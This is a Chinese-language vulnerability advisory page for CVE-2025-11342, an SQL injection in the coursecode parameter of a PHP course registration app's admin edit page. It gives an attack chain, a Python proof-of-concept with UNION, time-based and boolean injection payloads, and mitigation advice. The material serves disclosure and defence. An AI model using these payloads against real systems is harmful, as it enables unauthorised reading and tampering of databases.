IPBUF安全漏洞报告
English
CVE-2025-11342 CVSS 4.7 中危

CVE-2025-11342:Online Course Registration 1.0 SQL注入漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-11342
漏洞类型
SQL注入
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
code-projects Online Course Registration

相关标签

SQL注入CVE-2025-11342Online Course Registrationcode-projectsWeb应用漏洞中危漏洞PHP数据库安全远程利用已公开PoC

漏洞概述

CVE-2025-11342是code-projects公司开发的Online Course Registration(在线课程注册系统)1.0版本中存在的一个SQL注入安全漏洞。该漏洞位于系统的管理后台文件/admin/edit-course.php中,具体涉及对coursecode参数的处理逻辑存在缺陷。攻击者可以通过精心构造的恶意SQL语句作为coursecode参数的值,绕过应用程序的输入验证机制,直接与后端数据库进行交互。由于该漏洞可被远程利用,且相关利用代码已在公开渠道发布,因此对使用该系统的组织和个人构成了实质性的安全威胁。该漏洞的CVSS 3.1评分为4.7分,属于中危级别。虽然该漏洞需要高权限(PR:H)才能利用,即攻击者需要拥有管理员或相应级别的账户凭证,但一旦成功利用,攻击者可以读取、修改甚至删除数据库中的敏感信息,对系统的机密性、完整性和可用性均会造成低级别的影响。考虑到该系统的典型部署场景涉及学生课程信息、用户账户数据等敏感内容,SQL注入漏洞可能导致大规模数据泄露或篡改事件。

技术细节

该SQL注入漏洞的核心问题出现在/admin/edit-course.php文件中对coursecode参数的处理逻辑上。在正常业务流程中,管理员通过该接口编辑课程信息时,系统需要接收coursecode参数以标识目标课程。然而,应用程序在将该参数拼接到SQL查询语句之前,未能进行充分的输入验证和参数化处理,导致攻击者可以在参数中注入恶意的SQL片段。

从技术层面分析,漏洞利用过程如下:首先,攻击者需要获取有效的管理员账户凭证(由于PR:H权限要求),然后通过登录后台获得合法的会话权限;接着,攻击者构造包含SQL注入payload的HTTP请求,目标是/admin/edit-course.php端点,恶意payload被嵌入到coursecode参数中;最终,当应用程序将未经过滤的coursecode参数拼接到后端SQL查询时,注入的SQL语句将与原始查询一同执行,从而实现对数据库的未授权操作。

根据CVSS向量分析,该漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),需要高权限(PR:H),无需用户交互(UI:N),对机密性、完整性和可用性的影响均为低级别(C:L/I:L/A:L)。尽管影响等级评估为低,但SQL注入漏洞的实际危害往往取决于后端数据库的内容和权限配置,在最坏情况下可能导致整个数据库被窃取或破坏。

攻击链分析

STEP 1
步骤1:获取管理员凭证
攻击者通过社会工程学、暴力破解、凭证填充或其他途径获取Online Course Registration系统的有效管理员账户用户名和密码。
STEP 2
步骤2:登录管理后台
使用获取的管理员凭证登录系统后台(/admin/login.php),建立经过身份验证的会话,获取合法的访问权限。
STEP 3
步骤3:构造SQL注入payload
针对coursecode参数构造恶意SQL注入payload,可采用UNION联合查询注入、布尔型盲注、时间型盲注或报错注入等多种方式。
STEP 4
步骤4:发送恶意请求
向/admin/edit-course.php端点发送包含恶意coursecode参数的HTTP请求,触发后端未经过滤的SQL查询执行。
STEP 5
步骤5:提取敏感数据
通过注入的SQL语句从数据库中提取敏感信息,如管理员密码哈希、用户个人信息、课程数据等。
STEP 6
步骤6:进一步渗透或数据破坏
利用获取的数据进行权限提升、数据篡改或删除,必要时可尝试写入webshell或执行系统命令以扩大攻击范围。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11342 - Online Course Registration SQL Injection PoC # Target: /admin/edit-course.php # Vulnerable Parameter: coursecode import requests # Target configuration TARGET_URL = "http://target-host.com" ADMIN_LOGIN_URL = f"{TARGET_URL}/admin/login.php" EDIT_COURSE_URL = f"{TARGET_URL}/admin/edit-course.php" # Admin credentials (attacker must have valid admin access) USERNAME = "admin" PASSWORD = "password123" # Create a session to maintain cookies session = requests.Session() # Step 1: Login as admin to obtain authenticated session login_data = { "username": USERNAME, "password": PASSWORD, "submit": "Login" } response = session.post(ADMIN_LOGIN_URL, data=login_data) print(f"[*] Login response status: {response.status_code}") # Step 2: Craft SQL injection payload for coursecode parameter # Example: Extract database version via UNION-based injection sql_payload = "' UNION SELECT 1,version(),3,4,5-- -" # Step 3: Send malicious request to the vulnerable endpoint params = { "coursecode": sql_payload } response = session.get(EDIT_COURSE_URL, params=params) print(f"[*] Exploit response status: {response.status_code}") print(f"[*] Response body:\n{response.text}") # Alternative: Time-based blind SQL injection payload time_based_payload = "' OR SLEEP(5)-- -" params_blind = {"coursecode": time_based_payload} response = session.get(EDIT_COURSE_URL, params=params_blind) print(f"[*] Time-based injection response time: {response.elapsed.total_seconds()}s") # Alternative: Boolean-based blind SQL injection payload boolean_payload = "' AND 1=1-- -" params_bool = {"coursecode": boolean_payload} response_true = session.get(EDIT_COURSE_URL, params=params_bool) boolean_payload_false = "' AND 1=2-- -" params_bool_false = {"coursecode": boolean_payload_false} response_false = session.get(EDIT_COURSE_URL, params=params_bool_false) print(f"[*] Boolean-based TRUE response length: {len(response_true.text)}") print(f"[*] Boolean-based FALSE response length: {len(response_false.text)}")

影响范围

code-projects Online Course Registration 1.0

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)对/admin/edit-course.php端点实施访问控制,限制仅特定IP地址的管理员可访问;2)在Web服务器层面部署WAF规则,拦截包含SQL关键字(如UNION、SELECT、SLEEP等)的恶意请求;3)对coursecode参数实施严格的输入验证,仅允许字母数字字符,拒绝包含特殊字符(单引号、分号、注释符等)的输入;4)审查所有管理员账户的访问日志,排查是否存在异常登录或可疑操作;5)考虑暂时禁用/admin/edit-course.php功能或将其下线,直至漏洞修复;6)加强管理员账户的安全管理,及时修改默认密码,启用多因素认证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表